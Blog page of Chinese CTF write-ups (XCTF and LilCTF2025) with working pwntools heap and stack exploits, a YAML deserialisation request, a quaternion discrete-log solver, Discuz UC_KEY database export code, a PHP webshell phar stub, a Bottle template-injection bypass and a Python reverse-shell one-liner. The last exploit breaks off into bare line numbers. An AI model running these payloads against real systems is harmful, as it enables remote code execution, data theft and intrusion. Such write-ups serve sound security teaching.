3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /sandbox HTTP/1.1 Host: web-d0449060ee.challenge.xctf.org.cn Origin: http://web-d0449060ee.challenge.xctf.org.cn Referer: http://web-d0449060ee.challenge.xctf.org.cn/ Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK23IBmQeWwIHg2JR Accept: */* Accept-Encoding: gzip, deflate Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6ImFkbWluIn0.h6QY-f521uX-fy_wmBSN2oVCGKChY9MATy75bfaZ6iU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Accept-Language: zh-CN,zh;q=0.9 Content-Length: 421 ------WebKitFormBoundaryK23IBmQeWwIHg2JR Content-Disposition: form-data; name="codefile"; filename="exp.yaml" Content-Type: application/octet-stream !!python/object/apply:subprocess.check_output [[cat,/f1111ag]] ------WebKitFormBoundaryK23IBmQeWwIHg2JR Content-Disposition: form-data; name="mode" yaml ------WebKitFormBoundaryK23IBmQeWwIHg2JR-- PWN digtal_bomb 核心逻辑 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 void __noreturn heap() { _DWORD v0[2]; unsigned __int64 v1; v1 = __readfsqword(0x28u); v0[1] = 1; while (1) { menu(); // 显示菜单 v0[0] = 0; __isoc99_scanf("%d", v0); while (getchar() != 10); if (v0[0] == 666) { gift(); // 仅特殊输入触发 continue; } if (v0[0] > 3) { PUTS("Invalid choice, please try again."); } else if (v0[0] == 1) { add(); // 创建消息块 } else if (v0[0] == 2) { delet(); // 删除消息块 } else if (v0[0] == 3) { show(); // 显示消息块 } } } add中存在 off-by-null 漏洞,泄露堆地址有 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 add(9, 0x500, p64(0)+p64(0x601)) add(0, 0x4f0, b'a'*8) add(10, 0x500, b'a'*8) add(1, 0x4f0, b'a'*8) free(10) free(9) add(9, 0x500, b'a'*4) edit(9, b'a'*8) show(9) conn.recvuntil(b'a'*8) heap = u64(conn.recv(6)+b'\x00\x00') - 0x290 print(f"[+] Heap base: {hex(heap)}") 接着伪造 chunk 和 off-by-null 在最低地址 0x510 的 chunk0 中伪造一个大小为 0x600 的 chunk。 修改 chunk0 的 fd 和 bk 指向伪造 chunk 地址。 利用 chunk1 的 off-by-null 漏洞,修改 chunk2 的 pre_inuse 与 pre_size 位,使其 pre_size=0x600。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 free(0) free(1) free(9) free(10) add(0, 0x500, p64(0)+p64(0x601)+p64(heap+0x2a0)*2) add(1, 0xf8, b'a'*8) for i in range(2, 10): add(i, 0xf8, b'a'*8) add(9, 0xf0, b'a'*8) free(1) add(1, 0xf8, b'a'*0xf0 + p64(0x600)) for i in range(3, 10): free(i) free(2) 然后泄露 libc,利用 chunk1 指针泄露 libc 基址 1 2 3 4 5 add(9, 0x4f0, b'a'*8) show(1) conn.recvuntil(b'Show at index 1:\n') libc_base = u64(conn.recv(6)+b'\x00\x00') - 0x21ace0 print(f"[+] libc base: {hex(libc_base)}") 接着释放无用 chunk,准备劫持 1 2 3 4 free(9) add(8, 0x1f0, b'a'*8) free(8) free(1) 利用 tcache bins 伪造任意分配,获取 libc GOT 表中 strlen 地址。 覆盖 GOT,使其调用 one_gadget 达成 RCE。 1 2 3 4 5 6 7 8 key = heap >> 12 payload = b'a'*0x2f0 + p64(0x510) + p64(0x201) + p64((heap+0x10)^key) add(3, 0x4f0, payload) add(4, 0x1f0, b'a') add(5, 0x1f0, p16(7)*0x40 + p64(libc_base+0x21A090)*4) add(6, 0x20, p64(libc_base+0xebc85)*2) conn.interactive() 完整 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import * context.log_level='debug' # conn=process('./digtal_bomb') conn=remote("pwn-bee7897324.challenge.xctf.org.cn", 9999, ssl=True) libc = ELF('./libc.so.6') def ch(Id): conn.sendlineafter(b"Your choice >>", str(Id).encode()) def add(Id, size, payload): ch(1) conn.sendlineafter(b"Index >> \n", str(Id).encode()) conn.sendlineafter(b"Size >> \n", str(size).encode()) conn.send(payload) def free(Id): ch(2) conn.sendlineafter(b"Index >> \n", str(Id).encode()) def show(Id): ch(3) conn.sendlineafter(b"Index >> \n", str(Id).encode()) def edit(Id, payload): ch(666) conn.sendlineafter(b"Index >> \n", str(Id).encode()) conn.send(payload) # ====== 初始化数字炸弹 ====== conn.sendlineafter(b"Enter min (0-500): ", b"498") conn.sendlineafter(b"Enter max (0-500): ", b"500") conn.sendlineafter(b"Your guess :", b"500") # ====== 泄露堆地址 ====== add(9, 0x500, p64(0)+p64(0x601)) add(0, 0x4f0, b'a'*8) add(10, 0x500, b'a'*8) add(1, 0x4f0, b'a'*8) free(10) free(9) add(9, 0x500, b'a'*4) edit(9, b'a'*8) show(9) conn.recvuntil(b'a'*8) heap = u64(conn.recv(6)+b'\x00\x00') - 0x290 print(f"[+] Heap base: {hex(heap)}") # ====== 伪造 chunk 与 off-by-null ====== free(0) free(1) free(9) free(10) add(0, 0x500, p64(0)+p64(0x601)+p64(heap+0x2a0)*2) add(1, 0xf8, b'a'*8) for i in range(2, 10): add(i, 0xf8, b'a'*8) add(9, 0xf0, b'a'*8) free(1) add(1, 0xf8, b'a'*0xf0 + p64(0x600)) for i in range(3, 10): free(i) free(2) # ====== 泄露 libc 基址 ====== add(9, 0x4f0, b'a'*8) show(1) conn.recvuntil(b'Show at index 1:\n') libc_base = u64(conn.recv(6)+b'\x00\x00') - 0x21ace0 print(f"[+] libc base: {hex(libc_base)}") free(9) add(8, 0x1f0, b'a'*8) free(8) free(1) # ====== 劫持 tcache bins 执行 RCE ====== key = heap >> 12 payload = b'a'*0x2f0 + p64(0x510) + p64(0x201) + p64((heap+0x10)^key) add(3, 0x4f0, payload) add(4, 0x1f0, b'a') add(5, 0x1f0, p16(7)*0x40 + p64(libc_base+0x21A090)*4) add(6, 0x20, p64(libc_base+0xebc85)*2) conn.interactive() odd_canary 先打good让他泄露libc地址,然后打vuln栈溢出getshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * context(arch='amd64', os='linux', log_level='debug') conn = remote("pwn-685e27d009.challenge.xctf.org.cn", 9999, ssl=True) # 加载 libc libc_obj = ELF('./libc.so.6') # 第一次 good 操作,泄露 libc 地址 conn.sendafter('(good/vuln/exit): ', b'good') conn.sendafter('first:\n', b'B'*0x1f) conn.sendafter('(good/vuln/exit): ', b'good') conn.recvuntil(f'I will tell you good news,{"B"*0x1f}\n') leaked_puts = u64(conn.recv(6).ljust(8, b'\x00')) libc_base = leaked_puts - libc_obj.sym['puts'] # 计算 one_gadget 地址 og_addr = libc_base + 0xebc81 # 第二次 good 操作填充名字 conn.sendafter('name first:\n', b'B'*0x1f) # 构造 payload buf_prefix = b'exec' payload = buf_prefix.ljust(0x30, b'\x00') payload += p64(0x404800) # bss 或者返回地址覆盖目标 payload += p64(og_addr) # one_gadget # 触发 vuln 栈溢出 conn.sendafter('(good/vuln/exit): ', b'vuln') conn.sendafter('payload: \n', payload) # 进入交互 conn.interactive() Crypto new_trick Claude 一把梭了 有一个四元数 Q,和它的某个幂次 R = Q^secret secret < 2^50,需要找到这个secret 用secret的MD5作为AES密钥加密了flag 关键在于解决四元数的离散对数问题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 from hashlib import md5 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import math # Given parameters p = 115792089237316195423570985008687907853269984665640564039457584007913129639747 Q_components = (123456789, 987654321, 135792468, 864297531) R_components = (53580504271939954579696282638160058429308301927753139543147605882574336327145, 79991318245209837622945719467562796951137605212294979976479199793453962090891, 53126869889181040587037210462276116096032594677560145306269148156034757160128, 97368024230306399859522783292246509699830254294649668434604971213496467857155) encrypted_flag = b'(\xe4IJ\xfd4%\xcf\xad\xb4\x7fi\xae\xdbZux6-\xf4\xd72\x14BB\x1e\xdc\xb7\xb7\xd1\xad#e@\x17\x1f\x12\xc4\xe5\xa6\x10\x91\x08\xd6\x87\x82H\x9e' class Quaternion: def __init__(self, a, b, c, d): self.p = p self.a = a % self.p self.b = b % self.p self.c = c % self.p self.d = d % self.p def __repr__(self): return f"Q({self.a}, {self.b}, {self.c}, {self.d})" def __mul__(self, other): a1, b1, c1, d1 = self.a, self.b, self.c, self.d a2, b2, c2, d2 = other.a, other.b, other.c, other.d a_new = a1 * a2 - b1 * b2 - c1 * c2 - d1 * d2 b_new = a1 * b2 + b1 * a2 + c1 * d2 - d1 * c2 c_new = a1 * c2 - b1 * d2 + c1 * a2 + d1 * b2 d_new = a1 * d2 + b1 * c2 - c1 * b2 + d1 * a2 return Quaternion(a_new, b_new, c_new, d_new) def __eq__(self, other): return (self.a == other.a and self.b == other.b and self.c == other.c and self.d == other.d) def conjugate(self): return Quaternion(self.a, -self.b, -self.c, -self.d) def norm_squared(self): return (self.a * self.a + self.b * self.b + self.c * self.c + self.d * self.d) % self.p def inverse(self): norm_sq = self.norm_squared() # Find modular inverse of norm_squared inv_norm = pow(norm_sq, self.p - 2, self.p) conj = self.conjugate() return Quaternion(conj.a * inv_norm, conj.b * inv_norm, conj.c * inv_norm, conj.d * inv_norm) def power(base_quat, exp): res = Quaternion(1, 0, 0, 0) base = base_quat while exp > 0: if exp % 2 == 1: res = res * base base = base * base exp //= 2 return res def baby_step_giant_step(g, h, n): """ Solve discrete log: find x such that g^x = h n is the upper bound for x """ m = int(math.ceil(math.sqrt(n))) # Baby steps: compute g^j for j = 0, 1, ..., m-1 baby_steps = {} current = Quaternion(1, 0, 0, 0) # g^0 for j in range(m): key = (current.a, current.b, current.c, current.d) if key not in baby_steps: baby_steps[key] = j current = current * g # Giant steps: compute h * (g^(-m))^i for i = 0, 1, ..., m-1 g_m = power(g, m) g_m_inv = g_m.inverse() gamma = h for i in range(m): key = (gamma.a, gamma.b, gamma.c, gamma.d) if key in baby_steps: x = i * m + baby_steps[key] if x < n: return x gamma = gamma * g_m_inv return None def solve_quaternion_dlog(): Q = Quaternion(*Q_components) R = Quaternion(*R_components) print("Starting quaternion discrete log attack...") print(f"Q = {Q}") print(f"R = {R}") # Try baby-step giant-step with bound 2^50 max_secret = 2**50 print(f"Searching for secret < {max_secret}") print("This may take a while...") # For efficiency, let's try smaller bounds first bounds_to_try = [2**16, 2**20, 2**24, 2**28, 2**32] for bound in bounds_to_try: print(f"Trying bound 2^{bound.bit_length()-1}...") secret = baby_step_giant_step(Q, R, bound) if secret is not None: print(f"Found secret: {secret}") return secret # If not found in smaller bounds, try the full range print("Trying full range 2^50...") secret = baby_step_giant_step(Q, R, max_secret) if secret is not None: print(f"Found secret: {secret}") return secret print("Could not find secret in the given range") return None def decrypt_flag(secret): if secret is None: print("Cannot decrypt without secret") return # Verify the secret works Q = Quaternion(*Q_components) R_check = power(Q, secret) R_expected = Quaternion(*R_components) if R_check == R_expected: print("Secret verification successful!") else: print("Secret verification failed!") return # Decrypt the flag key = md5(str(secret).encode()).hexdigest().encode() cipher = AES.new(key=key, mode=AES.MODE_ECB) try: decrypted = cipher.decrypt(encrypted_flag) flag = unpad(decrypted, 16) print(f"Flag: {flag.decode()}") except Exception as e: print(f"Decryption failed: {e}") # Alternative approach: try some common small values first def try_small_secrets(): Q = Quaternion(*Q_components) R = Quaternion(*R_components) print("Trying small secret values...") # Try some small powers for secret in range(1, 10000): if secret % 1000 == 0: print(f"Trying secret = {secret}") test_R = power(Q, secret) if test_R == R: print(f"Found secret: {secret}") return secret return None if __name__ == "__main__": # First try small values secret = try_small_secrets() if secret is None: # If not found, try the more complex approach secret = solve_quaternion_dlog() decrypt_flag(secret) 主要思路: 四元数离散对数问题通常比整数离散对数更容易解决 使用分步搜索策略,从小范围开始逐步扩大 Baby-Step Giant-Step算法将搜索空间从O(n)降低到O(√n)

2025/9/10
articleCard.readMore

【Volcania】LilCTF2025 Writeup

Web Ekko Note 数据库关系如下 通过这里的注释,可以猜到题目大概与random伪随机有关系,如果拿到seed,就可以预测random生成的随机值 1 2 3 4 # 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。 # 反正整个程序没有一个地方用到random库。应该没有什么问题。 import random random.seed(SERVER_START_TIME) 题目提到的 RCE 相关代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route('/execute_command', methods=['GET', 'POST']) @login_required def execute_command(): result = check_time_api() if result is None: flash("API死了啦,都你害的啦。", "danger") return redirect(url_for('dashboard')) if not result: flash('2066年才完工哈,你可以穿越到2066年看看', 'danger') return redirect(url_for('dashboard')) if request.method == 'POST': command = request.form.get('command') os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。 return redirect(url_for('execute_command')) return render_template('execute_command.html') 通过访问 /server_info 能看到服务器启动时间 1 2 3 4 { "current_time": 1755223998.0369895, "server_start_time": 1755223563.5477479 } 在忘记密码 /forget_password 里面,有 uuid v8 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route('/forgot_password', methods=['GET', 'POST']) def forgot_password(): if request.method == 'POST': email = request.form.get('email') user = User.query.filter_by(email=email).first() if user: # 选哪个UUID版本好呢,好头疼 >_< # UUID v8吧,看起来版本比较新 token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧 reset_token = PasswordResetToken(user_id=user.id, token=token) db.session.add(reset_token) db.session.commit() # TODO:写一个SMTP服务把token发出去 flash(f'密码恢复token已经发送,请检查你的邮箱', 'info') return redirect(url_for('reset_password')) else: flash('没有找到该邮箱对应的注册账户', 'danger') return redirect(url_for('forgot_password')) return render_template('forgot_password.html') UUID v8 根据 random 算结果,印证前面猜想,所以忘记密码的重置 token 是可预测的 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import random import uuid from datetime import datetime SERVER_START_TIME = 1755243162.2662387 # 服务器获取的开启时间 print(SERVER_START_TIME) def padding(input_string): byte_string = input_string.encode('utf-8') if len(byte_string) > 6: byte_string = byte_string[:6] padded_byte_string = byte_string.ljust(6, b'\x00') padded_int = int.from_bytes(padded_byte_string, byteorder='big') return padded_int random.seed(SERVER_START_TIME) token = str(uuid.uuid8(a=padding('admin'))) print(token) 用生成的token来重置密码登录admin用户 根据题目要求,年份大于 2066 年 1 2 3 4 5 6 7 8 9 10 11 12 13 def check_time_api(): user = User.query.get(session['user_id']) try: response = requests.get(user.time_api) data = response.json() datetime_str = data.get('date') if datetime_str: print(datetime_str) current_time = datetime.fromisoformat(datetime_str) return current_time.year >= 2066 except Exception as e: return None return None 写个能够弹大于2066年的时间API,部署在 Vercel 1 2 3 4 5 6 7 8 from fastapi import FastAPI from fastapi.responses import JSONResponse app = FastAPI() @app.get("/time") async def get_time(): return JSONResponse(content={"date": "2077-01-01T00:00:00"}) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "version": 2, "builds": [ { "src": "api/index.py", "use": "@vercel/python" } ], "routes": [ { "src": "/(.*)", "dest": "api/index.py" } ] } 更换api后就能执行命令了 然后就可以反弹shell了,注意/bin/bash是不存在的,要用/bin/sh 这里我用python -c来反弹shell 1 $ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);" ez_bottle 黑名单如下 1 BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals","get", "open"] 题目会对上传的zip进行解压缩,然后读取文件并对文件内容进行模板渲染后输出 看到可以模板注入的地方,一开始想可能可以 %include '/flag',可以绕过过滤条件 但是 %include('/flag') 返回 Error rendering template: Warning: Use of deprecated feature or API. (Deprecated in Bottle-0.12) Cause: Use of absolute path for template name. Fix: Refer to templates with names or paths relative to the lookup path. 看来不行,尝试使用异形相近字符绕过,利用unicode编码标准化来实现绕过,因为在进行黑名单检测的时候这些字符还是异形的,在bottle渲染时会进行规范化,通过raise来显示flag,当然或许也可以写文件? 新建一个 payload.txt 文件 1 2 3 % import ºs % flag=ºs.pºpen('cat /flag').read() % raise Exception(flag) 压缩成 payload.zip,上传 1 $ curl -X POST -H "Content-Type: multipart/form-data" \ -F "file=@./payload.zip" http://challenge.xinshi.fun:45416/upload 我曾有一份工作 能够看到是 Discuz X3.5,题目说本题允许使用扫描器,扫描一下目录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [15:57:37] 503 - 4KB - /.idea/workspace(2).xml [15:57:37] 503 - 4KB - /.idea/workspace(4).xml [15:57:37] 503 - 4KB - /.idea/workspace(3).xml [15:57:37] 503 - 4KB - /.idea/workspace(5).xml [15:57:37] 503 - 4KB - /.idea/workspace(7).xml [15:57:37] 503 - 4KB - /.idea/workspace(6).xml [16:00:27] 200 - 3KB - /admin.php [16:02:40] 301 - 169B - /api -> http://challenge.xinshi.fun/api/ [16:02:40] 200 - 1B - /api/ [16:02:42] 200 - 13B - /api.php [16:02:59] 301 - 169B - /archiver -> http://challenge.xinshi.fun/archiver/ [16:04:27] 301 - 169B - /config -> http://challenge.xinshi.fun/config/ [16:04:32] 200 - 1B - /config/ [16:04:56] 200 - 106B - /crossdomain.xml [16:05:02] 301 - 169B - /data -> http://challenge.xinshi.fun/data/ [16:05:03] 200 - 0B - /data/ [16:05:03] 200 - 0B - /data/cache/ [16:06:10] 200 - 5KB - /favicon.ico [16:06:48] 200 - 9KB - /group.php [16:07:00] 200 - 9KB - /home.php [16:07:28] 301 - 169B - /install -> http://challenge.xinshi.fun/install/ [16:07:35] 200 - 9KB - /install/index.php?upgrade/ [16:07:35] 200 - 9KB - /install/ [16:08:47] 200 - 9KB - /member.php [16:09:01] 200 - 33B - /misc.php [16:09:23] 503 - 4KB - /New%20folder%20(2) [16:11:27] 200 - 639B - /robots.txt [16:11:40] 200 - 5KB - /search.php [16:12:19] 301 - 169B - /source -> http://challenge.xinshi.fun/source/ [16:12:19] 200 - 1B - /source/ [16:12:32] 301 - 169B - /static -> http://challenge.xinshi.fun/static/ [16:13:03] 301 - 169B - /template -> http://challenge.xinshi.fun/template/ [16:13:03] 200 - 1B - /template/ [16:14:50] 200 - 11MB - /www.zip 扫描到了备份文件 www.zip,结合题目描述,没错了,我们走在正确的方向上 发现配置文件里有各种硬编码的 key,微信找到一篇文章,可以通过 UC_KEY 实现导出数据库 https://mp.weixin.qq.com/s/IDkUpjPL0mzSxKOgldHPeQ 1 define('UC_KEY', 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb'); 整一个 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php $uc_key="N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb"; $a = 'time='.time().'&method=export&tableid=1$sqlpath=backup_2025&backupfilename=tid_1'; //$a = 'time='.time().'&method=list'; echo $code=urlencode(_authcode($a, 'ENCODE', $uc_key)); function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } ?> GET数据包,填入code导出数据库操作 1 2 3 4 5 6 7 8 9 10 GET /api/db/dbbak.php?apptype=discuzx&code=80fb%2B20Q3V%2FYQpzvnEf9xgesEZx0RCRojkNvhQMASf0VXsPoDrf1fpbZDAusut%2BNuNbot53kG9V%2FWcB4%2FlX8TJufryMkiNjDR%2F3kr6HggkcGAMNwwwQN4CxKY7UQhty5LFsirhvC9675h8Q72w HTTP/1.1 Host: challenge.xinshi.fun:***** Accept-Language: zh-CN,zh;q=0.9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Cookie: j2pU_2132_saltkey=cip55Vvg; j2pU_2132_lastvisit=1755332286; j2pU_2132__refer=%252Fhome.php%253Fmod%253Dspacecp%2526ac%253Dcredit%2526showcredit%253D1; j2pU_2132_seccodecSAmPeT04h59=15.9ae6a76ce20e8fa0f9; j2pU_2132_sid=o6B7bZ; j2pU_2132_lastact=1755338785%09uc.php%09; j2pU_2132_auth=a541vV4igyZgMv4jVwlL5WEuXNNJMM3HIeGOWb%2Bzn%2BGvxug5KOyPPxnUzd8NOsPCtaHEKIrejQ3hoDbqm0eA Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 导出了几个 sql 文件发现 tableid 是以表名字典序排序的,所以 pre_a_flag 在最前面,直接传入 tableid=1 构造 code 1 2 3 4 5 6 7 8 9 10 11 12 13 # Identify: MTc1NTM0MTMzNCxYMy41LGRpc2N1engsbXVsdGl2b2wsMQ== # <?php exit();?> # discuzx Multi-Volume Data Dump Vol.1 # Time: 2025-08-16 10:48:54 # Type: discuzx # Table Prefix: pre_ # utf8mb4 # discuzx Home: https://www.discuz.vip # Please visit our website for newest infomation about discuzx # -------------------------------------------------------- INSERT INTO pre_a_flag VALUES ('1',0x666c61677b746573745f666c61677d); INSERT INTO pre_a_flag VALUES ('2',0x4c494c4354467b486176455f596f555f3130756e645f345f4a4f625f4e30773f5f4841486148417d); Your Uns3r 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class User{ public $username=0; public $value; } class Access{ // 利用 getToken() 的两次序列化与反序列化 // 让 'lilctf' 夹在中间:'/' . 'lilctf' . '/../flag' => /flag protected $prefix = 'php://filter/convert.base64-encode/resource=/'; protected $suffix = '/../flag'; } $a=new Access(); $u=new User(); // value 放“序列化后的 Access 字符串” $u->value=serialize($a); // throw new Exception("nonono!!!"); // 会使php直接退出,__destruct也不会执行,需要在这之前触发__destruct // 这里用一个array包含两个index=0的值,第一个是我们的payload,第二个是null // 反序列化时会先把我们的payload反序列化出来,然后null会覆盖我们的payload,此时会触发__destruct $payload=serialize(array($u,null)); $payload = str_replace('i:1', 'i:0', $payload); echo $payload.'<br />'; echo urlencode($payload).'<br />'; php_jail_is_my_cry PHP版本为8.3.0 发现题目对halt这个字符串进行了检查,那么可能正是要绕过这个字符串来实现某些操作 果不其然,找到一篇文章:https://blog.csdn.net/MrWangisgoodboy/article/details/130146658 通过文件包含gzip压缩后的phar文件的反序列化,可以实现运行任意PHP代码 找到一篇文章有讲解这个问题的: 原理:https://mp.weixin.qq.com/s/8Fs4nSTvrSyBW6wlePxbTg 写个 genphar.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php $phar = new Phar("payload.phar"); $phar->compressFiles(Phar::GZ); $phar->startBuffering(); #$p->setStub("<?php \$ch = curl_init('file://aa.txt');curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);\$data = curl_exec(\$ch);curl_close(\$ch);echo \$data; __HALT_COMPILER();"); $phar->setStub(' <?php if (isset($_REQUEST["file"])){ $a = $_REQUEST["file"]; echo "File contents: "; $ch = curl_init($a); curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all"); curl_exec($ch);curl_close($ch); } if (isset($_REQUEST["input"])){ $data = $_REQUEST["input"]; $target_file="/tmp/io"; file_put_contents($target_file, $data); #echo $data; #include $target_file; } if (isset($_REQUEST["include"])){ $b = $_REQUEST["include"]; echo "include: "; include $b; } ;__HALT_COMPILER(); '); $phar->addFromString("rubbish", "AAAAAAAAAAA"); $phar->stopBuffering(); ?> 用下面的命令生成通过gz绕过 1 2 3 $ php -d phar.readonly=0 genphar.php $ gzip -c payload.phar > payload.phar.gz #docker cp ./payload.phar.gz d3aa352543c1:/tmp 题目有个提示: // I hide a trick to bypass open_basedir, I'm sure you can find it. 猜测利用点可能在附近,大概率就是cURL 果不其然,我搜索关键词cURL open_basedir 8.3,第一个就是 可以通过file://来读文件,flag果然读不了,/etc/passwd和/proc/self/maps可以读 那么接下来应该就是打cnext漏洞了,php 8.3.0应该可以打 https://jishuzhan.net/article/1955857830778548226 需要将原本exp改掉,应为data://协议在allow_url_include没有开启的情况下是不能使用的,那么就要将resource=指向/tmp目录下的文件 同时file_put_content没有被禁用,可以写文件到/tmp再用php://filter通过filterchain读文件打cnext 这里我统一写文件到/tmp/io,再读取,来实现对resource的内容控制 url传入 http://challenge.xinshi.fun:*****/?down=payload.phar.gz 找了个比较丑陋的 exp,但是能跑 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 